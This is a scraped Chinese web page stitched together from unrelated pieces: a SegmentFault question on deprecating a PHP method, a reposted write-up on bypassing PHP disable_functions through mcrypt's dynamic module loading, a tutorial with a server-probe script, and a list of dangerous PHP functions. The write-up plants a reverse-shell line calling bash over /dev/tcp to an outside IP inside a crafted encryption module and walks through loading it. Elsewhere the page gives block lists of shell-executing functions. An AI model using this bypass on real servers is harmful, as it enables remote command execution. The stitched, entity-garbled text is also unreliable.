如何设置PHP函数禁用拷贝构造函数

问题对人有帮助,内容完整,我也想知道答案
问题没有实际价值,缺少关键内容,没有改进余地
我之前的系统框架,CONTROLLER层自定义了一个载入指定MODEL的实例方法。
现在想使用 Composer autoload,想把之前载入MODEL的实例方法废弃,但是如果直接关闭这个方法,涉及到的代码比较多,我想先把方法改为已过期,在开发时产生有警告,但是程序不会出错。
答案对人有帮助,有参考价值
答案没帮助,是错误的答案,答非所问
* @deprecated
function foobar() {
if (DEBUG) { // DEBUG是自行定义的调试开关常量
trigger_error('foobar() is deprecated!');
答案对人有帮助,有参考价值
答案没帮助,是错误的答案,答非所问
phpdoc有对应的标签
* @deprecated
同步到新浪微博
分享到微博?
Hi,欢迎来到 SegmentFault 技术社区!⊙▽⊙ 在这里,你可以提出编程相关的疑惑,关注感兴趣的问题,对认可的回答投赞同票;大家会帮你解决编程的问题,和你探讨技术更新,为你的回答投上赞同票。
明天提醒我
关闭理由:
删除理由:
忽略理由:
推广(招聘、广告、SEO 等)方面的内容
与已有问题重复(请编辑该提问指向已有相同问题)
答非所问,不符合答题要求
宜作评论而非答案
带有人身攻击、辱骂、仇恨等违反条款的内容
无法获得确切结果的问题
非开发直接相关的问题
非技术提问的讨论型问题
其他原因(请补充说明)
我要该,理由是:
扫扫下载 App挖掘PHP禁用函数绕过利用姿势 - 推酷
挖掘PHP禁用函数绕过利用姿势
记得以前乌云还在的时候,有个哥们在zone里问php如果把 dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec 这些函数都禁用了,应该如何执行命令。当时我看他给出的php版本很低,就直接用反序列化uaf直接调用exec的原型强行反弹了个shell。不过最后那哥们找到了一种利用LD_PRELOAD 和 mail函数的方法进行了绕过,见原drops上的文章 《利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令》。这个方法其实在08年就已经有人提出来了:
。应该还是有人记得这个哥们的,反正我是特别佩服他。
其实在php中,类似的问题还是存在很多的,本文将记录一次完整的php禁用函数绕过姿势的挖掘过程。在开头就说明一下,这次这个姿势在实战环境下没什么卵用,我写这个只是为了说明php中类似问题的利用方法。
php mcrypt模块
有一天上班公交车上看feedly,在LR师傅的博客上看到php协议流文档的翻译,然而那个翻译真的看得我蛋疼,所以我直接又去官网翻了下php://filter文档,发现php的过滤器支持Encryption Filters :
,其中有两个参数比较有意思:
这两个参数可以指定加密算法和模式的模块目录。但是后面的文档中并没有对这两个参数和需要实现的接口做进一步描述,之后我发现,这个加密过滤器其实是mcrypt这个扩展模块中的接口,mcrypt模块中的mcrypt_module_open函数是一个更通用的方法:
该方法中有两个参数 algorithm_directory 和 mode_directory 可以指定模块加载的目录,按照文档中的说法,如果不指定,则为php.ini中的默认值。看到这里的时候我觉得这个地方只要我编译一个带有加密函数接口的so库,并在该接口中插入恶意的代码,然后通过这个参数指定到这个目录,在调用加密方法的时候,我插入的代码就会被执行了。然后我这么做的时候,发现不管怎样更改directory参数,我指定的so都不会被加载,就算指定不存在的位置,也不会报错,然后我找了很多资料,发现对这个参数的具体使用,so库需要实现哪些接口,命名上的要求,完全没有任何文档说明。接下来是一些反复跳坑的过程,最后说下这个指定目录到底应该如何调用so库,以及他导致的php禁用函数绕过。
首先下载php源码(php版本不限制,我用的是php5.4.34)和依赖,
wget http://jp2.php.net/get/php-5.4.34.tar.gz/from/this/mirror
wget http://jaist.dl.sourceforge.net/project/mcrypt/Libmcrypt/2.5.8/libmcrypt-2.5.8.tar.gz
wget http://jaist.dl.sourceforge.net/project/mhash/mhash/0.9.9.9/mhash-0.9.9.9.tar.gz
接下来编译安装,开始第一次跳坑:
cd libmcrypt-2.5.8
./configure
make && make install
cd ../mhash-0.9.9.9
./configure
make && make install
cd ../php-5.4.34/
./configure --with-apxs2=/usr/bin/apxs2
cp php.ini-production /usr/local/lib/php.ini
因为考虑到之后可能要单独分析mcrypt模块,所以我没有在confiure的时候添加选项,而是在接下来编译了扩展库
cd ext/mcrypt/
phpize (需要autoconf)
./configure --with-php-config=/usr/local/bin/php-config
make && make install
然后在php.ini中添加扩展目录和扩展,并添加禁用函数:
disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec
接下来使用这段测试代码应该就可以输出密文了:
/* Open the cipher */
$td = mcrypt_module_open('rijndael-256', '', 'ofb', '');
/* Create the IV and determine the keysize length, use MCRYPT_RAND
* on Windows instead */
$iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
$ks = mcrypt_enc_get_key_size($td);
/* Create key */
$key = substr(md5('very secret key'), 0, $ks);
/* Intialize encryption */
mcrypt_generic_init($td, $key, $iv);
/* Encrypt data */
$encrypted = mcrypt_generic($td, 'This is very important data');
echo $encrypted.&\n&;
然后按照我们一开始的思路测试下加载指定目录的so文件,发现并无卵用,这时我花了一天的时间去google关于php mcrypt扩展的文档,对于这个指定dir的参数并没有文档说明,然后又去问了一些php大牛,他们给出的答复似乎并不能解决问题。然后被逼无奈我开始怼源码。
首先定位到 mcrypt_module_open 函数原型,这个函数是在 libmcrypt 中的,我建议如果食用ctag分析的话,把libmcrypt和mcrypt的源文件放在一起建立索引。
function mcrypt_module_open –& libmcrypt-2.5.8/lib/mcrypt_modules.c : 166
他是调用了mcrypt_dlopen –& libmcrypt-2.5.8/lib/mcrypt_modules.c : 128
这个函数中 141-144 行如下:
if (_mcrypt_search_symlist_lib(filename)!=NULL) {
handle-&handle = MCRYPT_INTERNAL_HANDLER;
return handle-&
filename 就是原来的 algorithm 也就是加密算法名,
_mcrypt_search_symlist_lib –& libmcrypt-2.5.8/lib/mcrypt_modules.c : 51
他会在全局数组 mps 里搜索这个算法名name,全局数组 mps 在编译时由 makefile 生成到mcrypt_symb.c 中,差不多是这个形式:
const mcrypt_preloaded mps[] = {
{&cbc&, NULL},
{&cbc_LTX__init_mcrypt&, cbc_LTX__init_mcrypt},
{&cbc_LTX__mcrypt_set_state&, cbc......
{&rijndael-128&, NULL},
{&rijndael_128_LTX__mcrypt_....
也就是说这个name在这个数组中出现的话,就会让 mcrypt_dlopen 直接返回 MCRYPT_INTERNAL_HANDLER ,
MCRYPT_INTERNAL_HANDLER 是 (void *)-1 ,没啥实际意义,就是个flag,返回这个值会导致调用 _mcrypt_search_symlist_sym –& libmcrypt-2.5.8/lib/mcrypt_modules.c : 65 ,该函数会直接返回 mps 中的算法的地址,所以根本不会从我指定的dir位置加载,会直接返回系统libmcrypt.so中的算法进行调用。
所以我觉得,算法名必须要不同于库中给出的标准算法名才可以,然后我把算法名和so的名字更改之后,仍然没有成功,他会直接返回找不到加密模块的错误。
然后我又看了两个多小时源码,最后没办法,静态分析弄的头都大了,直接上gdb调
b mcrypt_module_open
执行到181行的时候s进到mcrypt_dlopen函数里,141 行是上面我们提到的那个判断,执行到这里的时候我们看下执行结果:
那个算法名我已经修改了,删了一个’i’,返回是NULL,如果是原来的算法名的话,返回是0xffffffff,所以这个分支会跳过。
继续往下执行可以看下paths:
(gdb) p paths
$7 = &/root/fuckphp:/usr/local/lib/libmcrypt/&, '\000' &repeats 756 times&...
按照程序逻辑来说是没有问题的,继续往下执行,发现一个很奇怪的问题,157行的函数直接会被跳过,而159行的 lt_dlopenext(filename); 返回是0,导致返回的句柄是 NULL:
(gdb) p handle-&handle
$8 = (void *) 0x0
我当时觉得问题就在这个函数里了,就跟进去调,发现这个函数怎么都s不进去,并且无法在 lt_dlsetsearchpath 和 lt_dlopenext 这两个函数上下断点,报错找不到symbol,这个问题困扰了我好久,之后我就继续读源码,发现libdefs.h中有这样一段代码:
#ifdef USE_LTDL
# include &ltdl.h&
# define lt_dlexit() 0
# define lt_dlinit() 0
# define lt_dlclose(x) 0
# define lt_dlsym(x,y) 0
# define lt_dlhandle void*
# define lt_ptr_t void*
# define lt_dlerror() 0
# define lt_dlopenext(x) 0
# define lt_dlsetsearchpath(x) 0
如果没有定义 USE_LTDL 这个宏的话,那么这两个函数会直接变为两个返回0的宏定义,我们重新编译下libmcrypt 加上CFLAGS参数,让他把宏也编译到gdb调试信息中去:
./configure --disable-posix-threads CFLAGS=&-g3 -gdwarf-2 -O2&
下断点到155行看一下宏:
(gdb) b mcrypt_modules.c:155
(gdb) r mmm.php
(gdb) p lt_dlopenext()
果然此处是个宏,那么我们只要找到指定USE_LTDL宏的选项就好了,configure.in 中104行:
AC_DEFINE(USE_LTDL, 1, [use libltdl])
此处定义了USE_LTDL,发现这是个分支,进入条件是:
if test &x$opt_enable_ltdl& != then
所以只要指定$opt_enable_ltdl就可以了,发现对$opt_enable_ltdl的操作在75行:
opt_enable_ltdl=no
AC_MSG_CHECKING([whether to enable dynamic module loading])
AC_ARG_ENABLE(dynamic-loading,
[ --enable-dynamic-loading enable dynamic module loading],
opt_enable_ltdl=$enableval)
AC_MSG_RESULT($opt_enable_ltdl)
所以,我们要指定 --enable-dynamic-loading 这个选项,这样才能开启USE_LTDL,也就是动态加载。
再编译一次:
./configure --disable-posix-threads --enable-dynamic-loading CFLAGS=&-g3 -gdwarf-2 -O2&
make && make install
之后我并没有往后看他需要调用的接口,我直接把libmcrypt中的所有 rijndael-256 都替换成了 rjndael-256 (包括文件名和文件内容,要注意一些隐藏文件夹),然后修改 modules/algorithms/rjndael-256.c ,添加头文件:
#include &stdlib.h&
#include &stdio.h&
#include &string.h&
在 _mcrypt_encrypt 函数的定义部分结束后添加一行:
system(&bash -c 'bash -i && /dev/tcp/192.168.30.11/'&);
将 modules/algorithms/.libs/rjndael-256.so 拷贝到目标文件夹,再次测试,发现还是错误,再跟进去调一下,还是原来的位置下断点,我们发现,lt_dlopenext仍然返回NULL,但是这次我们可以s进去了,简单读一下代码发现他首先会提取后缀名,如果要执行lt_dlopen函数,则需要满足条件:
if (ext && ((strcmp (ext, archive_ext) == 0)
#ifdef LTDL_SHLIB_EXT
|| (strcmp (ext, shlib_ext) == 0)
return lt_dlopen (filename);
否则,按照后缀默认是archive_ext进行之后的操作,输出下archive_ext:
(gdb) p archive_ext
$2 = &.la&
看下LTDL_SHLIB_EXT:
(gdb) p LTDL_SHLIB_EXT
No symbol &LTDL_SHLIB_EXT& in current context.
未定义,其实这个LTDL_SHLIB_EXT应该就是so,不过需要你手动安装ltdl库才有这个定义,但是就算该宏定义了,la文件也是必须的,因为在后面的操作中,需要操作handle-&info.name这个值来调用so文件,而这个值需要从la文件的 dlname=’rjndael-256.so’ 中得到,所以在目标文件夹中需要la和so文件,那么我们将其全复制过来:
cp modules/algorithms/.libs/rjndael-256.* /root/fuckphp/
改下源代码:
$td = mcrypt_module_open('rjndael-256.la', '/root/fuckphp', 'ofb', '');
再执行下:
最后得到的应用场景与一开始想的有很大差异,限制很多,变得了没啥用的鸡肋姿势,不过我觉得这个分析的过程还是有一些收获的,所以就随便写点纪录下来。
这说明动态加载在php中是风险很高的一个选项,此处可能鸡肋,但是不排除存在其他可以加载la和so的函数接口,就算找不到文档,硬怼源码也是可以搞定的。更多的利用姿势等待大家挖掘,有更屌的姿势环境发邮件与我探讨。
已发表评论数()
请填写推刊名
描述不能大于100个字符!
权限设置: 公开
仅自己可见
正文不准确
标题不准确
排版有问题
主题不准确
没有分页内容
图片无法显示
视频无法显示
与原文不一致php函数详解 php禁用函数设置及查看方法详解-PHP教程
当前位置:&>&&>& &
php禁用函数设置及查看方法详解
php函数详解 php禁用函数设置及查看方法详解
| 来源:网络 | 关键字:
本文实例讲述了php禁用函数设置及查看方法。分享给大家供大家参考,具体如下:打开PHP.INI,找到这行:disable_functions =在后面那里加上要禁用的函数,如禁用多个函数,要用半角逗号
本文实例讲述了php禁用函数设置及查看方法。分享给大家供大家参考,具体如下:打开PHP.INI,找到这行:disable_functions =在后面那里加上要禁用的函数,如禁用多个函数,要用半角逗号 , 分开给个例子:复制代码 代码如下:disable_functions = passthru,exec,system,popen,chroot,scandir,chgrp,chown,escapeshellcmd,escapeshellarg,shell_exec,proc_open,proc_get_status建议在主机上禁用的函数:复制代码 代码如下:disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname在主机上面如何查看禁用的函数列表,我从网上找了一个非常不错的探针&?phpheader("content-Type: text/ charset=utf-8");header("Cache-Control: no-cache, must-revalidate");header("Pragma: no-cache");error_reporting(0);ob_end_flush();?&&!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&&html xmlns="http://www.w3.org/1999/xhtml"&&head&&meta http-equiv="Pragma" content="No-cache" /&&meta http-equiv="Expires" content="0" /&&meta http-equiv="cache-control" content="private" /&&meta http-equiv="Content-Type" content="text/ charset=utf-8" /&//加了这句,看看能不能解决linux下显示乱码的问题?&title&PHP 探针 v1.0&/title&&style type="text/css"&&!--body{text-align:margin-top:20background-color:#a9b674;}#overview{width:700margin:0text-align:}a{text-decoration:color:#992700;}.strong{color:#992700;}.basew{width:300}--&&/style&&/head&&body&&div id="overview"&&div id="copyright"&版权信息&a href="hello.php?typ=baseinfo"&[基本信息]&/a& &a href="hello.php?typ=superinfo"&[高级信息]&/a&&?phpif (function_exists("phpinfo")){
echo'&a href="hello.php?typ=phpinfo"&[phpinfo]&/a&';}echo'&br /&php探针v1.0 by MKDuse(blueidea-id)&br /&&br /&此程序代码,可免费使用;但不得用于商业用途;完全转载或使用此代码,请保留版权信息;&br /&欢迎指正错误提建议,QQ:&/div&';if (empty($_GET['typ'])){
baseinfo();}else{switch ($_GET['typ']){case 'phpinfo':phpinfoview();case 'superinfo':superinfo();case 'baseinfo':baseinfo();default:baseinfo();}}function getime(){ $t = gettimeofday(); return (float)($t['sec'] + $t['usec']/1000000);}function baseinfo(){echo '&h1&基本信息&/h1&';$arr[]=array("Current PHP version:",phpversion());$arr[]=array("Zend engine version:",zend_version());$arr[]=array("服务器版本",$_SERVER['SERVER_SOFTWARE']);$arr[]=array("ip地址",$_SERVER['REMOTE_HOST']);//ip$arr[]=array("域名",$_SERVER['HTTP_HOST']);$arr[]=array("协议端口",$_SERVER['SERVER_PROTOCOL'].' '.$_SERVER['SERVER_PORT']);$arr[]=array("站点根目录",$_SERVER['PATH_TRANSLATED']);$arr[]=array("服务器时间",date('Y年m月d日,H:i:s,D'));$arr[]=array("当前用户",get_current_user());$arr[]=array("操作系统",php_uname('s').php_uname('r').php_uname('v'));$arr[]=array("include_path",ini_get('include_path'));$arr[]=array("Server API",php_sapi_name());$arr[]=array("error_reporting level",ini_get("display_errors"));$arr[]=array("POST提交限制",ini_get('post_max_size'));$arr[]=array("upload_max_filesize",ini_get('upload_max_filesize'));$arr[]=array("脚本超时时间",ini_get('max_execution_time').'秒');if (ini_get("safe_mode")==0){$arr[]=array("PHP安全模式(Safe_mode)",'off');}else{$arr[]=array("PHP安全模式(Safe_mode)",'on');}if (function_exists('memory_get_usage')){$arr[]=array("memory_get_usage",ini_get('memory_get_usage'));}//$arr[]=array("可用空间",intval(diskfreespace('/')/(1024 * 1024))."M");echo'&table&';for($i=0;$i&count($arr);$i++){
$overview='&tr&&td class="basew"&'.$arr[$i][0].'&/td&&td&'.$arr[$i][1].'&/td&&/tr&';
echo $}echo'&/table&';echo '&h2&服务器性能测试&/h2&';echo'&table&&tr&&td&服务器&/td&&td&整数运算&br /&50万次加法(1+1)&/td&&td&浮点运算&br /&50万次平方根(3.14开方)&/td&&/tr&';echo'&tr&&td&MKDuse的机子(P4 1.5G 256DDR winxp sp2)&/td&&td&465.08ms&/td&&td&466.66ms&/td&&/tr&';$time_start=getime();for($i=0;$i&=500000;$i++);{$count=1+1;}$timea=round((getime()-$time_start)*1000,2);echo '&tr class="strong"&&td&当前服务器&/td&&td&'.$timea.'ms&/td&';$time_start=getime();for($i=0;$i&=500000;$i++);{sqrt(3.14);}$timea=round((getime()-$time_start)*1000,2);echo '&td&'.$timea.'ms&/td&&/tr&&/table&';?&&script language="javascript" type="text/javascript"&function gettime(){ time=new Date(); return time.getTime();}start_time=gettime();&/script&&?phpecho '&h2&带宽测试&/h2&';for ($i=0;$i&100;$i++){print "&!--#########0#########0#########0#########0#########0#########0#########0#########012345--&";}?&&p id="dk"&&/p&&script language="javascript" type='text/javascript'&timea=gettime()-start_netspeed=Math.round(10/timea*1000);document.getElementByIdx("dk").innerHTML="向客户端发送10KB数据,耗时"+timea+"ms&br /&您与此服务器的连接速度为"+netspeed+"kb/s";&/script&&?phpecho'&h2&已加载的扩展库(enable)&/h2&&div&';$arr =get_loaded_extensions();foreach($arr as $value){
echo $value.'&br /&';}echo'&/div&&h2&禁用的函数&/h2&&p&';$disfun=ini_get('disable_functions');if (empty($disfun)){
e[.Cn]cho'没有禁用&/p&';}else{echo ini_get('disable_functions').'&/p&';}}//关闭function superinfo(){echo'&h1&高级信息&/h1&&p&PHP_INI_USER 1 配置选项可用在用户的 PHP 脚本或Windows 注册表中&br& PHP_INI_PERDIR 2 配置选项可在 php.ini, .htaccess 或 httpd.conf 中设置 &br&PHP_INI_SYSTEM 4 配置选项可在 php.ini or httpd.conf 中设置 &br&PHP_INI_ALL 7 配置选项可在各处设置&/p&';$arr1=ini_get_all();for ($i=0;$i&count($arr1);$i++)
{$arr2=array_slice($arr1,$i,1);print_r($arr2);echo '&br /&';}}function phpinfoview(){
phpinfo();}?&&/div&&/body&&/html&更多关于PHP相关内容感兴趣的读者可查看本站专题:《php程序设计安全教程》、《php面向对象程序设计入门教程》、《PHP数学运算技巧总结》、《PHP数组(Array)操作技巧大全》、《php字符串(string)用法总结》、《PHP数据结构与算法教程》、《php程序设计算法总结》及《php常见数据库操作技巧汇总》希望本文所述对大家PHP程序设计有所帮助。
网友评论仅供其表达个人看法,并不表明网易立场。一些需要禁用的PHP危险函数 - 阿酷影 - 博客园
phpinfo()功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。危险等级:中
passthru()功能描述:允许执行一个外部程序并回显输出,类似于 exec()。危险等级:高
exec()功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。危险等级:高
system()功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。危险等级:高
chroot()功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。危险等级:高
scandir()功能描述:列出指定路径中的文件和目录。危险等级:中
chgrp()功能描述:改变文件或目录所属的用户组。危险等级:高
chown()功能描述:改变文件或目录的所有者。危险等级:高
shell_exec()功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。危险等级:高
proc_open()功能描述:执行一个命令并打开文件指针用于读取以及写入。危险等级:高
proc_get_status()功能描述:获取使用 proc_open() 所打开进程的信息。危险等级:高
error_log()功能描述:将错误信息发送到指定位置(文件)。安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。危险等级:低
ini_alter()功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。具体参见 ini_set()。危险等级:高
ini_set()功能描述:可用于修改、设置 PHP 环境配置参数。危险等级:高
ini_restore()功能描述:可用于恢复 PHP 环境配置参数到其初始值。危险等级:高
dl()功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。危险等级:高
pfsockopen()功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。危险等级:高
syslog()功能描述:可调用 UNIX 系统的系统层 syslog() 函数。危险等级:中
readlink()功能描述:返回符号连接指向的目标文件内容。危险等级:中
symlink()功能描述:在 UNIX 系统中建立一个符号链接。危险等级:高
popen()功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。危险等级:高
stream_socket_server()功能描述:建立一个 Internet 或 UNIX 服务器连接。危险等级:中
putenv()功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。危险等级:高
禁用方法如下:打开/etc/php.ini文件,查找到 disable_functions ,添加需禁用的函数名,如下:phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen如何禁用一些php危险函数
&phpinfo()&
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。&
危险等级:中&
passthru()&
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。&
危险等级:高&
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。&
危险等级:高&
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。&
危险等级:高&
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式&
PHP 时才能工作,且该函数不适用于 Windows 系统。&
危险等级:高&
scandir()&
功能描述:列出指定路径中的文件和目录。&
危险等级:中&
功能描述:改变文件或目录所属的用户组。&
危险等级:高&
功能描述:改变文件或目录的所有者。&
危险等级:高&
shell_exec()&
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。&
危险等级:高&
proc_open()&
功能描述:执行一个命令并打开文件指针用于读取以及写入。&
危险等级:高&
proc_get_status()&
功能描述:获取使用 proc_open() 所打开进程的信息。&
危险等级:高&
error_log()&
功能描述:将错误信息发送到指定位置(文件)。&
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,&
执行任意命令。&
危险等级:低&
ini_alter()&
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。&
具体参见 ini_set()。&
危险等级:高&
ini_set()&
功能描述:可用于修改、设置 PHP 环境配置参数。&
危险等级:高&
ini_restore()&
功能描述:可用于恢复 PHP 环境配置参数到其初始值。&
危险等级:高&
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。&
危险等级:高&
pfsockopen()&
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。&
危险等级:高&
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。&
危险等级:中&
readlink()&
功能描述:返回符号连接指向的目标文件内容。&
危险等级:中&
symlink()&
功能描述:在 UNIX 系统中建立一个符号链接。&
危险等级:高&
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。&
危险等级:高&
stream_socket_server()&
功能描述:建立一个 Internet 或 UNIX 服务器连接。&
危险等级:中&
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数&
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。&
危险等级:高&
禁用方法如下:&
打开/etc/php.ini文件,&
查找到 disable_functions ,添加需禁用的函数名,如下:&
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status
,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
,fsocket,fsockopen,phpinfo
【声明】:黑吧安全网()登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱,我们会在最短的时间内进行处理。
上一篇:【】【】}

我要回帖

更多关于 qq邮箱禁用mail函数 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信